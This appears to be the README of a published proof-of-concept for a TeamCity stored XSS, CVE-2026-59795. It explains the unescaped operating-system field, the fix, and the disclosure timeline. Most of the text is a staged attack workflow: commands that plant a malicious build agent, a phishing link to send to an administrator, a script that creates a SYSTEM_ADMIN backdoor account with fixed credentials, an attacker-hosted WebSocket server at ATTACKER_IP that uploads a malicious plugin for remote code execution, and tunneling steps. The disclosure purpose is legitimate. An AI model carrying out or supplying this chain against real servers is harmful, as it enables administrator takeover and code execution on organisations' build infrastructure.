
Proof-of-concept for CVE-2026-59795: unauthenticated stored XSS in TeamCity agent details, chained to SYSTEM_ADMIN account creation and plugin-upload RCE.
Unauthenticated stored XSS in TeamCity's legacy agent-details page, escalating to server RCE with no restart. An attacker registers a build agent (no credentials required) with a malicious os.name, then gets an admin to view that agent's details page. The payload runs in the admin's authenticated session and can create a SYSTEM_ADMIN account or upload and load a malicious plugin.
| CVE | CVE-2026-59795 |
| Affected | TeamCity <= 2026.1.1 (build 222577) |
| Fixed in | 2026.1.2 (222647), 2025.11.6 (208214) |
| CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N |
| Type | Stored XSS (CWE-79), chainable to SYSTEM_ADMIN takeover and RCE |
| Auth required | None to plant the payload |
Trigger: an admin views the malicious agent, either via a one-click crafted &fromSakuraUI=true link on the default Sakura UI, or with no phishing at all by opening the pending agent in the normal authorize workflow when the admin is on the classic UI (per-user "Use Sakura UI" unchecked, or server-wide classic mode).
webapps/ROOT/agent/agentSummary.jsp renders the agent-reported OS name without escaping:
<li>Operating system: <bs:osIcon osName="${agent.operatingSystemName}"/><strong>${agent.operatingSystemName}</strong></li>
Full write-up with screenshots and background: https://joakimbulow.com/posts/cve-2026-59795/
The sibling agent name a few lines above uses <c:out>, confirming the omission is accidental. operatingSystemName is fully attacker-controlled: an unauthenticated agent sets it at registration (osName attribute in POST /app/agents/v1/register), and the server stores and echoes it verbatim.
The Sakura React UI escapes osName correctly and normally redirects away from the legacy page, but the redirect is skipped (and the unescaped JSP renders) when:
?fromSakuraUI=true in the URL (the redirect tag's own bypass flag), orteamcity.ui.experimental=disableDefault, or the per-user "Use Sakura UI" opt-out), orConfirmed live:
alert(document.domain) in the admin's session, no side effects.SYSTEM_ADMIN account in the admin's session (no RCE)./admin/pluginUpload.html and enables it via /admin/plugins.html (EnableAllPlugins), which loads attacker Java into the running TeamCity JVM with no restart. Verified via a proof file written on the server host, 4 seconds after the admin's click.Escape the output in agentSummary.jsp:
<strong><c:out value="${agent.operatingSystemName}"/></strong>
(The agent.version field on the line above has the same issue and needs the same fix.)
GET /update/buildAgent.zipjavac on the attacker machine, only needed for the RCE PoCcurl -o buildAgent.zip https://teamcity.example.com/update/buildAgent.zip
unzip buildAgent.zip -d evilagent
You don't need to hand-edit conf/buildAgent.properties; every PoC below sets serverUrl from its --url/--tc-url argument and rewrites the agent name per run, so it's safe to reuse the same unzipped evilagent/ directory repeatedly.
./poc/)Run these in order, each one confirms more impact than the last.
1. alert_only.py, confirm the XSS, zero side effects. Plants an agent whose osName pops alert(document.domain). No account created, no code executed.
python3 poc/alert_only.py --url https://teamcity.example.com --agent-dir ./evilagent
2. attacker_deeplink.py, XSS to SYSTEM_ADMIN takeover, no RCE. Same plant, but the payload creates a SYSTEM_ADMIN account (eviladmin / Ev1l-Pass-123) and polls until that account can log in.
python3 poc/attacker_deeplink.py --url https://teamcity.example.com --agent-dir ./evilagent
3. rce_ws_server.py, full chain, XSS to plugin upload to RCE, single terminal. Builds a plugin, starts the evil agent and a WebSocket server, and prints the phishing link. When the admin views it: XSS fires, the WS server delivers the plugin, it's uploaded and enabled, and TeamCity loads it at runtime.
python3 poc/rce_ws_server.py --lhost ATTACKER_IP --lport 1337 \
--tc-url https://teamcity.example.com --agent-dir ./evilagent
Each PoC prints a link like:
https://teamcity.example.com/agentDetails.html?id=N&fromSakuraUI=true
Send that to the admin (Sakura UI, one click), or, if the admin is already on classic UI, just point them at agentDetails.html?id=N with no special parameter, e.g. via the normal pending-agent review flow.
Within a few seconds of the admin's click, on the TeamCity server host:
cat /tmp/pwned-tc-xss-rce.txt
=== TeamCity XSS->RCE chain confirmed ===
user: <tc-process-user>
host: <hostname>
java: <java-version>
cwd: <teamcity-bin-dir>
time: <timestamp>
If the admin's browser can't reach your attacker machine directly, for example, you're only reachable through an SSH tunnel into the target, use rce_prepare.py to build the plugin and agent on your box, then transfer poc/ws_serve.py and the built plugin ZIP to the TeamCity host and serve them from there:
# on the attacker machine
python3 poc/rce_prepare.py --tc-url http://localhost:8111 --agent-dir ./evilagent \
--ws-host localhost --ws-port 1337 --plugin-out /tmp/evil-plugin.zip
# transfer poc/ws_serve.py and /tmp/evil-plugin.zip to the TeamCity host, then there:
python3 ws_serve.py evil-plugin.zip 1337
Forward the WebSocket port through the same tunnel used to reach TeamCity (-L 1337:localhost:1337) so the admin's browser can reach it as ws://localhost:1337.
Cleanup note: each run registers a freshly named agent, so repeated runs won't collide, but each one leaves a new unauthorized agent behind. Remove them under Agents -> Unauthorized after testing.
| File | Purpose |
|---|---|
poc/alert_only.py | Triage step 1, confirm the XSS with a harmless alert() |
poc/attacker_deeplink.py | Triage step 2, XSS to SYSTEM_ADMIN takeover |
poc/rce_ws_server.py | Triage step 3, full XSS to upload to RCE chain, single terminal |
poc/rce_prepare.py | Same RCE chain, split so the WebSocket server can run on the target host (tunnel setups) |
poc/ws_serve.py | Standalone WebSocket file server used by rce_prepare.py's split setup |
poc/poclib.py | Shared helper: configures and launches the evil agent |
poc/payloads.txt | Raw XSS payload variants (alert, space-free, create-admin) |
| Date | Event |
|---|---|
| 2026-06-15 | Reported |
| 2026-06-15 | Acknowledged |
| 2026-06-17 | Fixed |
| 2026-07-01 | Fix released, 2026.1.2 (222647) and 2025.11.6 (208214) |
| 2026-07-10 | CVE published |
| 2026-11-03 | POC published |